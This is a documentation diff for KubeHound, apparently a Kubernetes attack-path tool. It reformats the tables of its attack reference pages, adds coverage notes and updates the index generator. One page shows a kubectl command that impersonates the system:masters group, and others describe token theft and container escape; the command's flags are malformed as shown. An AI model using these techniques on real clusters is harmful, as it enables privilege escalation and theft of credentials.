+| ------------------------------------------------------------------ | ----------------------------------- | ------------------------------------------------------------------- | +| [Container](../entities/container.md), [Node](../entities/node.md) | [Identity](../entities/identity.md) | [Valid Accounts, T1078](https://attack.mitre.org/techniques/T1078/) | Represents the capacity to act as an [Identity](../entities/identity.md) via ownership of a service account token, user PKI certificate, etc. @@ -100,4 +100,4 @@ Use a pod security policy or admission controller to prevent or limit the identi + [Official Kubernetes Documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#authentication-strategies) + [CURLing the Kubernetes API](https://nieldw.medium.com/curling-the-kubernetes-api-server-d7675cfc398c) + [Kubelet API Overview](https://www.deepnetwork.com/blog/2020/01/13/kubelet-api.html) -+ [Node AuthN/AuthZ](https://kubernetes.io/docs/reference/access-authn-authz/node/) \ No newline at end of file ++ [Node AuthN/AuthZ](https://kubernetes.io/docs/reference/access-authn-authz/node/) diff --git a/docs/reference/attacks/IDENTITY_IMPERSONATE.md b/docs/reference/attacks/IDENTITY_IMPERSONATE.md index de176002e..26c0ad622 100644 --- a/docs/reference/attacks/IDENTITY_IMPERSONATE.md +++ b/docs/reference/attacks/IDENTITY_IMPERSONATE.md @@ -3,15 +3,20 @@ id: IDENTITY_IMPERSONATE name: "Impersonate user/group" mitreAttackTechnique: T1078 - Valid Accounts mitreAttackTactic: TA0004 - Privilege escalation +coverage: None --> # IDENTITY_IMPERSONATE With a [user impersonation privilege](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) an attacker can impersonate a more privileged account. -| Source | Destination | MITRE | -| ----------------------------------------- | ------------------------------------- |----------------------------------| -| [PermissionSet](../entities/permissionset.md) | [Identity](../entities/identity.md) | [Valid Accounts, T1078](https://attack.mitre.org/techniques/T1078/) | +| Source | Destination | MITRE ATT&CK | +| --------------------------------------------- | ----------------------------------- | ------------------------------------------------------------------- | +| [PermissionSet](../entities/permissionset.md) | [Identity](../entities/identity.md) | [Valid Accounts, T1078](https://attack.mitre.org/techniques/T1078/) | + +!!! warning + + This attack detection is currently __NOT IMPLEMENTED__. ## Details @@ -37,7 +42,7 @@ kubectl auth can-i impersonate groups Execute any action in the K8s API impersonating a privileged group (e.g `system:masters`) or user using the syntax: ```bash -$ kubectl –as=null –as-group=system:masters -o json | jq +$ kubectl -as=null -as-group=system:masters -o json | jq ``` ## Defences diff --git a/docs/reference/attacks/PERMISSION_DISCOVER.md b/docs/reference/attacks/PERMISSION_DISCOVER.md index 95c71a760..ca38f43ee 100644 --- a/docs/reference/attacks/PERMISSION_DISCOVER.md +++ b/docs/reference/attacks/PERMISSION_DISCOVER.md @@ -13,8 +13,8 @@ mitreAttackTactic: TA0007 - Discovery Represents the permissions granted to an identity that can be discovered by an attacker. -| Source | Destination | MITRE | -| ----------------------------------------- | ------------------------------------- |----------------------------------| +| Source | Destination | MITRE ATT&CK | +| ----------------------------------- | --------------------------------------------- | -------------------------------------------------------------------------------- | | [Identity](../entities/identity.md) | [PermissionSet](../entities/permissionset.md) | [Permission Groups Discovery, T1069](https://attack.mitre.org/techniques/T1078/) | ## Details @@ -55,4 +55,3 @@ None + [Official Kubernetes Documentation:Using RBAC Authorization](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) + [Kubernetes RBAC Details](https://octopus.com/blog/k8s-rbac-roles-and-bindings) - diff --git a/docs/reference/attacks/POD_ATTACH.md b/docs/reference/attacks/POD_ATTACH.md index 210a795db..85c8c9fe5 100644 --- a/docs/reference/attacks/POD_ATTACH.md +++ b/docs/reference/attacks/POD_ATTACH.md @@ -5,15 +5,15 @@ title: POD_ATTACH # POD_ATTACH -| Source | Destination | MITRE | -| --------------------------- | ------------------------------------- |----------------------------------| -| [Node](../entities/node.md) | [Pod](../entities/pod.md) | [Lateral Movement, TA0008](https://attack.mitre.org/tactics/TA0008/) | +| Source | Destination | MITRE ATT&CK | +| --------------------------- | ------------------------- | -------------------------------------------------------------------- | +| [Node](../entities/node.md) | [Pod](../entities/pod.md) | [Container Administration Command, T1609](https://attack.mitre.org/tactics/T1609/) | Attach to a running K8s pod from a K8s node. @@ -146,4 +146,4 @@ ctr -n k8s.io task exec -t --exec-id full-control 0f36d12d60d12d041df8941 + [Kubernetes API Reference Docs](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.26/#pod-v1-core) + https://iximiuz.com/en/posts/containerd-command-line-clients/ + https://nanikgolang.netlify.app/post/containers/ -+ https://www.mankier.com/8/ctr \ No newline at end of file ++ https://www.mankier.com/8/ctr diff --git a/docs/reference/attacks/POD_CREATE.md b/docs/reference/attacks/POD_CREATE.md index 8dba88abe..98e31b0dc 100644 --- a/docs/reference/attacks/POD_CREATE.md +++ b/docs/reference/attacks/POD_CREATE.md @@ -5,17 +5,17 @@ title: POD_CREATE # POD_CREATE Create a pod with significant privilege (`CAP_SYSADMIN`, `hostPath=/`, etc) and schedule on a target node via setting the `nodeName` selector. -| Source | Destination | MITRE | -| ----------------------------------------- | ------------------------------------- |----------------------------------| -| [PermissionSet](../entities/permissionset.md) | [Node](../entities/node.md) | [Container Orchestration Job, T1053.007](https://attack.mitre.org/techniques/T1053/007/) | +| Source | Destination | MITRE ATT&CK | +| --------------------------------------------- | --------------------------- | ---------------------------------------------------------------------------------------- | +| [PermissionSet](../entities/permissionset.md) | [Node](../entities/node.md) | [Deploy Container, T1610](https://attack.mitre.org/techniques/T1610/) | ## Details diff --git a/docs/reference/attacks/POD_EXEC.md b/docs/reference/attacks/POD_EXEC.md index 3f09b25e5..b67ea72c2 100644 --- a/docs/reference/attacks/POD_EXEC.md +++ b/docs/reference/attacks/POD_EXEC.md @@ -5,17 +5,17 @@ title: POD_EXEC # POD_EXEC With the correct privileges an attacker can use the Kubernetes API to obtain a shell on a running pod. -| Source | Destination | MITRE | -| ----------------------------------------- | ------------------------------------- |----------------------------------| -| [PermissionSet](../entities/permissionset.md) | [Pod](../entities/pod.md) | [Lateral Movement, TA0008](https://attack.mitre.org/tactics/TA0008/) | +| Source | Destination | MITRE ATT&CK | +| --------------------------------------------- | ------------------------- | ------------------------------------------------------------------------------------- | +| [PermissionSet](../entities/permissionset.md) | [Pod](../entities/pod.md) | [Container Administration Command, T1609](https://attack.mitre.org/techniques/T1609/) | ## Details diff --git a/docs/reference/attacks/POD_PATCH.md b/docs/reference/attacks/POD_PATCH.md index 3418e37bb..995c8f647 100644 --- a/docs/reference/attacks/POD_PATCH.md +++ b/docs/reference/attacks/POD_PATCH.md @@ -5,17 +5,17 @@ title: POD_PATCH # POD_PATCH With the correct privileges an attacker can use the Kubernetes API to modify certain properties of an existing pod and achieve code execution within the pod -| Source | Destination | MITRE | -| ----------------------------------------- | ------------------------------------- |----------------------------------| -| [PermissionSet](../entities/permissionset.md) | [Pod](../entities/pod.md) | [Lateral Movement, TA0008](https://attack.mitre.org/tactics/TA0008/) | +| Source | Destination | MITRE ATT&CK | +| --------------------------------------------- | ------------------------- | ------------------------------------------------------------------------------------- | +| [PermissionSet](../entities/permissionset.md) | [Pod](../entities/pod.md) | [Container Administration Command, T1609](https://attack.mitre.org/techniques/T1609/) | ## Details @@ -24,7 +24,7 @@ The `kubectl patch` command enables updating specific fields of a resource, incl + `spec.initContainers[*].image` + `spec.activeDeadlineSeconds` + `spec.tolerations` (only additions to existing tolerations) - + `spec.terminationGracePeriodSeconds` (allow it to be set to 1 if it was previously negative) ++ `spec.terminationGracePeriodSeconds` (allow it to be set to 1 if it was previously negative) However, this is still just enough to allow an attacker to achieve execution in a pod by modifying the container image of a running pod to a backdoored container image in an accessible container registry. diff --git a/docs/reference/attacks/ROLE_BIND.md b/docs/reference/attacks/ROLE_BIND.md index e78e32cbe..b7ca50e36 100644 --- a/docs/reference/attacks/ROLE_BIND.md +++ b/docs/reference/attacks/ROLE_BIND.md @@ -7,16 +7,20 @@ id: ROLE_BIND name: "Create role binding" mitreAttackTechnique: T1078 - Valid Accounts mitreAttackTactic: TA0004 - Privilege Escalation +coverage: Partial --> - # ROLE_BIND A role that grants permission to create or modify `(Cluster)RoleBindings` can allow an attacker to escalate privileges on a compromised user. -| Source | Destination | MITRE | -| ----------------------------------------- | ------------------------------------- |----------------------------------| -| [PermissionSet](../entities/permissionset.md) | [PermissionSet](../entities/permissionset.md) | [Valid Accounts, T1078](https://attack.mitre.org/techniques/T1078/) | +| Source | Destination | MITRE ATT&CK | +| --------------------------------------------- | --------------------------------------------- | ------------------------------------------------------------------- | +| [PermissionSet](../entities/permissionset.md) | [PermissionSet](../entities/permissionset.md) | [Valid Accounts, T1078](https://attack.mitre.org/techniques/T1078/) | + +!!! warning + + This attack has __LIMITATIONS__ in the current implementation. Consult the [RBAC](#rbac) section for more details. ## Details @@ -62,12 +66,12 @@ But, the PermissionSet object is created only if a role is linked by a rolebindi So some of the usecases are not fully covered: -| Usecase #| Coverage | Limitation description| -|------|-------|---------| -| 1 | Full | N/A | -| 2 | Limited | All the PermissionSet that are not namespaced are linked to a single specific namespace. Yet, this attack allow to bind a role to any namespace. Therefore, we would need to create additional PermissionSet for every namespace if we want to fully cover the attack| -| 3 | Full | N/A | -| 4 | None | To cover this usecase, we need duplicate a non-namespaced PermissionSet to a namespace one. | +| Usecase # | Coverage | Limitation description | +| --------- | -------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| 1 | Full | N/A | +| 2 | Limited | All the PermissionSet that are not namespaced are linked to a single specific namespace. Yet, this attack allow to bind a role to any namespace. Therefore, we would need to create additional PermissionSet for every namespace if we want to fully cover the attack | +| 3 | Full | N/A | +| 4 | None | To cover this usecase, we need duplicate a non-namespaced PermissionSet to a namespace one. | ### Limitation of the can-i Kubernetes API diff --git a/docs/reference/attacks/SHARE_PS_NAMESPACE.md b/docs/reference/attacks/SHARE_PS_NAMESPACE.md index 4e27e89a3..ef109663f 100644 --- a/docs/reference/attacks/SHARE_PS_NAMESPACE.md +++ b/docs/reference/attacks/SHARE_PS_NAMESPACE.md @@ -5,15 +5,15 @@ title: SHARE_PS_NAMESPACE # SHARE_PS_NAMESPACE -| Source | Destination | MITRE | -| --------------------------- | ------------------------------------- |----------------------------------| -| [Container](../entities/container.md) | [Container](../entities/container.md) | [Lateral Movement, TA0008](https://attack.mitre.org/tactics/TA0008/) | +| Source | Destination | MITRE ATT&CK | +| ------------------------------------- | ------------------------------------- | ------------------------------------------------------------------------- | +| [Container](../entities/container.md) | [Container](../entities/container.md) | [Taint Shared Content, T1080](https://attack.mitre.org/techniques/T1080/) | Represents a relationship between containers within the same pod that share a process namespace. diff --git a/docs/reference/attacks/TOKEN_BRUTEFORCE.md b/docs/reference/attacks/TOKEN_BRUTEFORCE.md index f4c6b4020..5d235ab39 100644 --- a/docs/reference/attacks/TOKEN_BRUTEFORCE.md +++ b/docs/reference/attacks/TOKEN_BRUTEFORCE.md @@ -11,8 +11,8 @@ mitreAttackTactic: TA0006 - Credential Access # TOKEN_BRUTEFORCE -| Source | Destination | MITRE | -| ----------------------------------------- | ------------------------------------- |----------------------------------| +| Source | Destination | MITRE ATT&CK | +| --------------------------------------------- | ----------------------------------- | ----------------------------------------------------------------------------------- | | [PermissionSet](../entities/permissionset.md) | [Identity](../entities/identity.md) | [Steal Application Access Token, T1528](https://attack.mitre.org/techniques/T1528/) | An identity with a role that allows *get* on secrets (vs list) can potentially view all the serviceaccount tokens in a specific namespace or in the whole cluster (with ClusterRole). diff --git a/docs/reference/attacks/TOKEN_LIST.md b/docs/reference/attacks/TOKEN_LIST.md index eb89d8d39..1ef3b4a7a 100644 --- a/docs/reference/attacks/TOKEN_LIST.md +++ b/docs/reference/attacks/TOKEN_LIST.md @@ -11,8 +11,8 @@ mitreAttackTactic: TA0006 - Credential Access # TOKEN_LIST -| Source | Destination | MITRE | -| ----------------------------------------- | ------------------------------------- |----------------------------------| +| Source | Destination | MITRE ATT&CK | +| --------------------------------------------- | ----------------------------------- | ----------------------------------------------------------------------------------- | | [PermissionSet](../entities/permissionset.md) | [Identity](../entities/identity.md) | [Steal Application Access Token, T1528](https://attack.mitre.org/techniques/T1528/) | An identity with a role that allows listing secrets can potentially view all the secrets in a specific namespace or in the whole cluster (with ClusterRole). @@ -62,4 +62,4 @@ Listing secrets is a very powerful privilege and should not be required by the m + [Official Kubernetes documentation: Secrets](https://kubernetes.io/docs/concepts/configuration/secret/#working-with-secrets) + [Securing Kubernetes Clusters by Eliminating Risky Permissions](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions) -+ [Official Kubernetes documentation: List Secret Risks](https://kubernetes.io/docs/concepts/security/rbac-good-practices/#listing-secrets) \ No newline at end of file ++ [Official Kubernetes documentation: List Secret Risks](https://kubernetes.io/docs/concepts/security/rbac-good-practices/#listing-secrets) diff --git a/docs/reference/attacks/TOKEN_STEAL.md b/docs/reference/attacks/TOKEN_STEAL.md index 576fcc2c6..61b016e0e 100644 --- a/docs/reference/attacks/TOKEN_STEAL.md +++ b/docs/reference/attacks/TOKEN_STEAL.md @@ -11,8 +11,8 @@ mitreAttackTactic: TA0006 - Credential Access # TOKEN_STEAL -| Source | Destination | MITRE | -| ----------------------------------------- | ------------------------------------- |----------------------------------| +| Source | Destination | MITRE ATT&CK | +| ------------------------------- | ----------------------------------- | -------------------------------------------------------------------------- | | [Volume](../entities/volume.md) | [Identity](../entities/identity.md) | [Unsecured Credentials, T1552](https://attack.mitre.org/techniques/T1552/) | This attack represents the ability to steal a K8s API token from an accessible volume. @@ -112,4 +112,3 @@ automountServiceAccountToken: false + [The Path Less Traveled: Abusing Kubernetes Defaults (Video)](https://www.youtube.com/watch?v=HmoVSmTIOxM) + [The Path Less Traveled: Abusing Kubernetes Defaults (GitHub)](https://github.com/mauilion/blackhat-2019) + [Securing Kubernetes Clusters by Eliminating Risky Permissions](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions) - diff --git a/docs/reference/attacks/VOLUME_ACCESS.md b/docs/reference/attacks/VOLUME_ACCESS.md index faa039fb2..474b31f88 100644 --- a/docs/reference/attacks/VOLUME_ACCESS.md +++ b/docs/reference/attacks/VOLUME_ACCESS.md @@ -11,8 +11,8 @@ mitreAttackTactic: TA0007 - Discovery # VOLUME_ACCESS -| Source | Destination | MITRE | -| ----------------------------------------- | ------------------------------------- |----------------------------------| +| Source | Destination | MITRE ATT&CK | +| -------------------------------- | ------------------------------- | ------------------------------------------------------------------------------------- | | [Node](../entities/container.md) | [Volume](../entities/volume.md) | [Container and Resource Discovery, T1613](https://attack.mitre.org/techniques/T1613/) | Represents an attacker with access to a node filesystem gaining access to any volumes mounted inside a container (by definition). diff --git a/docs/reference/attacks/VOLUME_DISCOVER.md b/docs/reference/attacks/VOLUME_DISCOVER.md index af0a54e46..1a2abe223 100644 --- a/docs/reference/attacks/VOLUME_DISCOVER.md +++ b/docs/reference/attacks/VOLUME_DISCOVER.md @@ -11,15 +11,15 @@ mitreAttackTactic: TA0007 - Discovery # VOLUME_DISCOVER -| Source | Destination | MITRE | -| ----------------------------------------- | ------------------------------------- |----------------------------------| +| Source | Destination | MITRE ATT&CK | +| ------------------------------------- | ------------------------------- | ------------------------------------------------------------------------------------- | | [Container](../entities/container.md) | [Volume](../entities/volume.md) | [Container and Resource Discovery, T1613](https://attack.mitre.org/techniques/T1613/) | Represents an attacker within a container discovering a mounted volume. ## Details -Volumes can contains K8s API tokens or other resources useful to an attacker in building an attack path. +Volumes can contain K8s API tokens or other resources useful to an attacker in building an attack path. ## Prerequisites @@ -102,4 +102,3 @@ None ## References: + [Official Kubernetes documentation: Volumes ](https://kubernetes.io/docs/concepts/storage/volumes/) - diff --git a/docs/reference/attacks/gen-index.py b/docs/reference/attacks/gen-index.py index c7fbc73d2..5fee738e4 100644 --- a/docs/reference/attacks/gen-index.py +++ b/docs/reference/attacks/gen-index.py @@ -12,8 +12,14 @@ # Attack Reference -| ID | Name | MITRE ATT&CK Technique | MITRE ATT&CK Tactic | -| :----: | :--: | :-----------------: | :--------------------: | +All edges in the KubeHound graph represent attacks with a net "improvement" in an attacker's position or a lateral movement opportunity. + +!!! note + + For instance, an assume role or ([IDENTITY_ASSUME](./IDENTITY_ASSUME.md)) is considered as an attack. + +| ID | Name | MITRE ATT&CK Technique | MITRE ATT&CK Tactic | Coverage | +| :----: | :--: | :-----------------: | :--------------------: | :------: | """ for file in sorted(glob.glob('*.md')): @@ -26,9 +32,20 @@ if startIndex >= 0: print("Parsing", file) docsConfig = yaml.safe_load(contents[startIndex+len(COMMENT_PREFIX):contents.find(COMMENT_SUFFIX)]) - attackTacticId, attackTacticName = docsConfig["mitreAttackTactic"].split(' - ') - attackTechniqueId, attackTechniqueName = docsConfig["mitreAttackTechnique"].split(' - ') - table += f'| [{docsConfig["id"]}](./{file}) | {docsConfig["name"]} | {attackTechniqueName} | { attackTacticName} | \n' + # Extract and format MITRE ATT&CK Tactic + attackTacticName = "N/A" + if docsConfig["mitreAttackTactic"] != "N/A": + attackTacticId, attackTacticName = docsConfig["mitreAttackTactic"].split(' - ') + # Extract and format MITRE ATT&CK Technique + attackTechniqueName = "N/A" + if docsConfig["mitreAttackTechnique"] != "N/A": + attackTechniqueId, attackTechniqueName = docsConfig["mitreAttackTechnique"].split(' - ') + # Extract coverage + coverage = "Full" + if "coverage" in docsConfig: + coverage = docsConfig["coverage"] + # Generate table row + table += f'| [{docsConfig["id"]}](./{file}) | {docsConfig["name"]} | {attackTechniqueName} | { attackTacticName} | {coverage} |\n' else: print(f"WARNING: {file} does not have a docs config") diff --git a/docs/reference/attacks/index.md b/docs/reference/attacks/index.md index 03e8bdc64..fea2afa15 100644 --- a/docs/reference/attacks/index.md +++ b/docs/reference/attacks/index.md @@ -7,34 +7,35 @@ hide: All edges in the KubeHound graph represent attacks with a net "improvement" in an attacker's position or a lateral movement opportunity. -!!! Note +!!! note + For instance, an assume role or ([IDENTITY_ASSUME](./IDENTITY_ASSUME.md)) is considered as an attack. -| ID | Name | MITRE ATT&CK Technique | MITRE ATT&CK Tactic | -| :----: | :--: | :-----------------: | :--------------------: | -| [CE_MODULE_LOAD](./CE_MODULE_LOAD.md) | Container escape: Load kernel module | Escape to host | Privilege escalation | -| [CE_NSENTER](./CE_NSENTER.md) | Container escape: nsenter | Escape to host | Privilege escalation | -| [CE_PRIV_MOUNT](./CE_PRIV_MOUNT.md) | Container escape: Mount host filesystem | Escape to host | Privilege escalation | -| [CE_SYS_PTRACE](./CE_SYS_PTRACE.md) | Container escape: Attach to host process via SYS_PTRACE | Escape to host | Privilege escalation | -| [CE_UMH_CORE_PATTERN](./CE_UMH_CORE_PATTERN.md) | Container escape: through core_pattern usermode_helper | Escape to host | Privilege escalation | -| [CONTAINER_ATTACH](./CONTAINER_ATTACH.md) | Attach to running container | N/A | Lateral Movement | -| [ENDPOINT_EXPLOIT](./ENDPOINT_EXPLOIT.md) | Exploit exposed endpoint | Exploitation of Remote Services | Lateral Movement | -| [EXPLOIT_CONTAINERD_SOCK](./EXPLOIT_CONTAINERD_SOCK.md) | Container escape: Through mounted container runtime socket | N/A | Lateral Movement | -| [EXPLOIT_HOST_READ](./EXPLOIT_HOST_READ.md) | Read file from sensitive host mount | Escape to host | Privilege escalation | -| [EXPLOIT_HOST_TRAVERSE](./EXPLOIT_HOST_TRAVERSE.md) | Steal service account token through kubelet host mount | Unsecured Credentials | Credential Access | -| [EXPLOIT_HOST_WRITE](./EXPLOIT_HOST_WRITE.md) | Container escape: Write to sensitive host mount | Escape to host | Privilege escalation | -| [IDENTITY_ASSUME](./IDENTITY_ASSUME.md) | Act as identity | Valid Accounts | Privilege escalation | -| [IDENTITY_IMPERSONATE](./IDENTITY_IMPERSONATE.md) | Impersonate user/group | Valid Accounts | Privilege escalation | -| [PERMISSION_DISCOVER](./PERMISSION_DISCOVER.md) | Enumerate permissions | Permission Groups Discovery | Discovery | -| [POD_ATTACH](./POD_ATTACH.md) | Attach to running pod | N/A | Lateral Movement | -| [POD_CREATE](./POD_CREATE.md) | Create privileged pod | Scheduled Task/Job: Container Orchestration Job | Privilege escalation | -| [POD_EXEC](./POD_EXEC.md) | Exec into running pod | N/A | Lateral Movement | -| [POD_PATCH](./POD_PATCH.md) | Patch running pod | N/A | Lateral Movement | -| [ROLE_BIND](./ROLE_BIND.md) | Create role binding | Valid Accounts | Privilege Escalation | -| [SHARE_PS_NAMESPACE](./SHARE_PS_NAMESPACE.md) | Access container in shared process namespace | N/A | Lateral Movement | -| [TOKEN_BRUTEFORCE](./TOKEN_BRUTEFORCE.md) | Brute-force secret name of service account token | Steal Application Access Token | Credential Access | -| [TOKEN_LIST](./TOKEN_LIST.md) | Access service account token secrets | Steal Application Access Token | Credential Access | -| [TOKEN_STEAL](./TOKEN_STEAL.md) | Steal service account token from volume | Unsecured Credentials | Credential Access | -| [CE_VAR_LOG_SYMLINK](./CE_VAR_LOG_SYMLINK.md) | Read file from sensitive host mount | Escape to host | Privilege escalation | -| [VOLUME_ACCESS](./VOLUME_ACCESS.md) | Access host volume | Container and Resource Discovery | Discovery | -| [VOLUME_DISCOVER](./VOLUME_DISCOVER.md) | Enumerate mounted volumes | Container and Resource Discovery | Discovery | +| ID | Name | MITRE ATT&CK Technique | MITRE ATT&CK Tactic | Coverage | +| :-----------------------------------------------------: | :--------------------------------------------------------: | :------------------------------: | :------------------: | :------: | +| [CE_MODULE_LOAD](./CE_MODULE_LOAD.md) | Container escape: Load kernel module | Escape to host | Privilege escalation | Full | +| [CE_NSENTER](./CE_NSENTER.md) | Container escape: nsenter | Escape to host | Privilege escalation | Full | +| [CE_PRIV_MOUNT](./CE_PRIV_MOUNT.md) | Container escape: Mount host filesystem | Escape to host | Privilege escalation | Full | +| [CE_SYS_PTRACE](./CE_SYS_PTRACE.md) | Container escape: Attach to host process via SYS_PTRACE | Escape to host | Privilege escalation | Full | +| [CE_UMH_CORE_PATTERN](./CE_UMH_CORE_PATTERN.md) | Container escape: through core_pattern usermode_helper | Escape to host | Privilege escalation | Full | +| [CE_VAR_LOG_SYMLINK](./CE_VAR_LOG_SYMLINK.md) | Arbitrary file reads on the host | Escape to host | Privilege escalation | Full | +| [CONTAINER_ATTACH](./CONTAINER_ATTACH.md) | Attach to running container | Container Administration Command | Execution | Full | +| [ENDPOINT_EXPLOIT](./ENDPOINT_EXPLOIT.md) | Exploit exposed endpoint | Exploitation of Remote Services | Lateral Movement | Full | +| [EXPLOIT_CONTAINERD_SOCK](./EXPLOIT_CONTAINERD_SOCK.md) | Container escape: Through mounted container runtime socket | Deploy Container | Execution | None | +| [EXPLOIT_HOST_READ](./EXPLOIT_HOST_READ.md) | Read file from sensitive host mount | Escape to host | Privilege escalation | Full | +| [EXPLOIT_HOST_TRAVERSE](./EXPLOIT_HOST_TRAVERSE.md) | Steal service account token through kubelet host mount | Unsecured Credentials | Credential Access | Full | +| [EXPLOIT_HOST_WRITE](./EXPLOIT_HOST_WRITE.md) | Container escape: Write to sensitive host mount | Escape to host | Privilege escalation | Full | +| [IDENTITY_ASSUME](./IDENTITY_ASSUME.md) | Act as identity | Valid Accounts | Privilege escalation | Full | +| [IDENTITY_IMPERSONATE](./IDENTITY_IMPERSONATE.md) | Impersonate user/group | Valid Accounts | Privilege escalation | None | +| [PERMISSION_DISCOVER](./PERMISSION_DISCOVER.md) | Enumerate permissions | Permission Groups Discovery | Discovery | Full | +| [POD_ATTACH](./POD_ATTACH.md) | Attach to running pod | Container Administration Command | Execution | Full | +| [POD_CREATE](./POD_CREATE.md) | Create privileged pod | Deploy Container | Execution | Full | +| [POD_EXEC](./POD_EXEC.md) | Exec into running pod | Container Administration Command | Execution | Full | +| [POD_PATCH](./POD_PATCH.md) | Patch running pod | Container Administration Command | Execution | Full | +| [ROLE_BIND](./ROLE_BIND.md) | Create role binding | Valid Accounts | Privilege Escalation | Partial | +| [SHARE_PS_NAMESPACE](./SHARE_PS_NAMESPACE.md) | Access container in shared process namespace | Taint Shared Content | Lateral Movement | Full | +| [TOKEN_BRUTEFORCE](./TOKEN_BRUTEFORCE.md) | Brute-force secret name of service account token | Steal Application Access Token | Credential Access | Full | +| [TOKEN_LIST](./TOKEN_LIST.md) | Access service account token secrets | Steal Application Access Token | Credential Access | Full | +| [TOKEN_STEAL](./TOKEN_STEAL.md) | Steal service account token from volume | Unsecured Credentials | Credential Access | Full | +| [VOLUME_ACCESS](./VOLUME_ACCESS.md) | Access host volume | Container and Resource Discovery | Discovery | Full | +| [VOLUME_DISCOVER](./VOLUME_DISCOVER.md) | Enumerate mounted volumes | Container and Resource Discovery | Discovery | Full | diff --git a/docs/reference/entities/common.md b/docs/reference/entities/common.md index faf186e20..eb4303bc4 100644 --- a/docs/reference/entities/common.md +++ b/docs/reference/entities/common.md @@ -4,35 +4,35 @@ Common properties can be set on any vertices within the graph. ## Ownership Information -| Property | Type | Description | -| ----------------| --------- |----------------------------------------| -| app | `string` | Internal app name extracted from object labels | -| team | `string` | Internal team name extracted from object labels | -| service | `string` | Internal service name extracted from object labels | +| Property | Type | Description | +| -------- | -------- | -------------------------------------------------- | +| app | `string` | Internal app name extracted from object labels | +| team | `string` | Internal team name extracted from object labels | +| service | `string` | Internal service name extracted from object labels | ## Risk Information -| Property | Type | Description | -| ----------------| --------- |----------------------------------------| -| critical | `bool` | Whether the vertex is a critical asset within the cluster. Critical assets form the termination condition of an attack path and represent an asset that leads to complete cluster compromise | -| compromised | `int` | Enum defining asset compromise for scenario-based simulations | +| Property | Type | Description | +| ----------- | ------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| critical | `bool` | Whether the vertex is a critical asset within the cluster. Critical assets form the termination condition of an attack path and represent an asset that leads to complete cluster compromise | +| compromised | `int` | Enum defining asset compromise for scenario-based simulations | ## Store Information -| Property | Type | Description | -| ----------------| --------- |----------------------------------------| -| storeID | `string` | Unique store database identifier of the store objected generating the vertex | +| Property | Type | Description | +| -------- | -------- | ---------------------------------------------------------------------------- | +| storeID | `string` | Unique store database identifier of the store objected generating the vertex | ## Namespace Information -| Property | Type | Description | -| ----------------| --------- |----------------------------------------| -| namespace | `string` | Kubernetes namespace to which the object (or its parent) belongs | -| isNamespaced | `bool` | Whether or not the object has an associated namespace | +| Property | Type | Description | +| ------------ | -------- | ---------------------------------------------------------------- | +| namespace | `string` | Kubernetes namespace to which the object (or its parent) belongs | +| isNamespaced | `bool` | Whether or not the object has an associated namespace | ## Run Information -| Property | Type | Description | -| ----------------| --------- |----------------------------------------| -| runID | `string` | Unique ULID identifying a KubeHound run | -| cluster | `string` | Kubernetes cluster to which the entity belongs | +| Property | Type | Description | +| -------- | -------- | ---------------------------------------------- | +| runID | `string` | Unique ULID identifying a KubeHound run | +| cluster | `string` | Kubernetes cluster to which the entity belongs | diff --git a/docs/reference/entities/container.md b/docs/reference/entities/container.md index a40cbd29e..f6edf346f 100644 --- a/docs/reference/entities/container.md +++ b/docs/reference/entities/container.md @@ -6,32 +6,34 @@ Properties that are interesting to attackers can be set at a Pod level such as h ## Properties -| Property | Type | Description | -| ----------------| --------- |----------------------------------------| -| name | `string` | Name of the container in Kubernetes | -| image | `string` | Docker the image run by the container | -| command | `[]string` | The container entrypoint| -| args | `[]string` | List of arguments passed to the container | -| capabilities | `[]string` | List of additional [capabilities](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/#set-capabilities-for-a-container) added to the container via k8s securityContext | -| privileged | `bool` | Whether the container is run in [privileged](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.26/#podsecuritycontext-v1-core) mode | -| privesc | `bool` | Whether the container can gain more privileges than its parent process [details here](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.26/#podsecuritycontext-v1-core) | -| hostPid | `bool` | Whether the container can access the host’s PID namespace | -| hostIpc | `bool` | Whether the container can access the host’s IPC namespace | -| hostNetwork | `bool` | Whether the container can access the host’s network namespace| -| runAsUser | `int64` | The user account the container is running under e.g 0 for root | -| ports | `[]string` | List of ports exposed by the container | -| pod | `string` | The name of the pod running the container | -| node | `string` | The name of the node running the container | +| Property | Type | Description | +| ------------ | ---------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| name | `string` | Name of the container in Kubernetes | +| image | `string` | Docker the image run by the container | +| command | `[]string` | The container entrypoint | +| args | `[]string` | List of arguments passed to the container | +| capabilities | `[]string` | List of additional [capabilities](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/#set-capabilities-for-a-container) added to the container via k8s securityContext | +| privileged | `bool` | Whether the container is run in [privileged](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.26/#podsecuritycontext-v1-core) mode | +| privesc | `bool` | Whether the container can gain more privileges than its parent process [details here](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.26/#podsecuritycontext-v1-core) | +| hostPid | `bool` | Whether the container can access the host's PID namespace | +| hostIpc | `bool` | Whether the container can access the host's IPC namespace | +| hostNetwork | `bool` | Whether the container can access the host's network namespace | +| runAsUser | `int64` | The user account the container is running under e.g 0 for root | +| ports | `[]string` | List of ports exposed by the container | +| pod | `string` | The name of the pod running the container | +| node | `string` | The name of the node running the container | ## Common Properties -+ [storeID](./common.md#store-information) + [app](./common.md#ownership-information) -+ [team](./common.md#ownership-information) -+ [service](./common.md#ownership-information) ++ [cluster](./common.md#run-information) + [compromised](./common.md#risk-information) -+ [namespace](./common.md#namespace-information) + [isNamespaced](./common.md#namespace-information) ++ [namespace](./common.md#namespace-information) ++ [runID](./common.md#run-information) ++ [service](./common.md#ownership-information) ++ [storeID](./common.md#store-information) ++ [team](./common.md#ownership-information) ## Definition diff --git a/docs/reference/entities/endpoint.md b/docs/reference/entities/endpoint.md index 23d77170e..f49bb7851 100644 --- 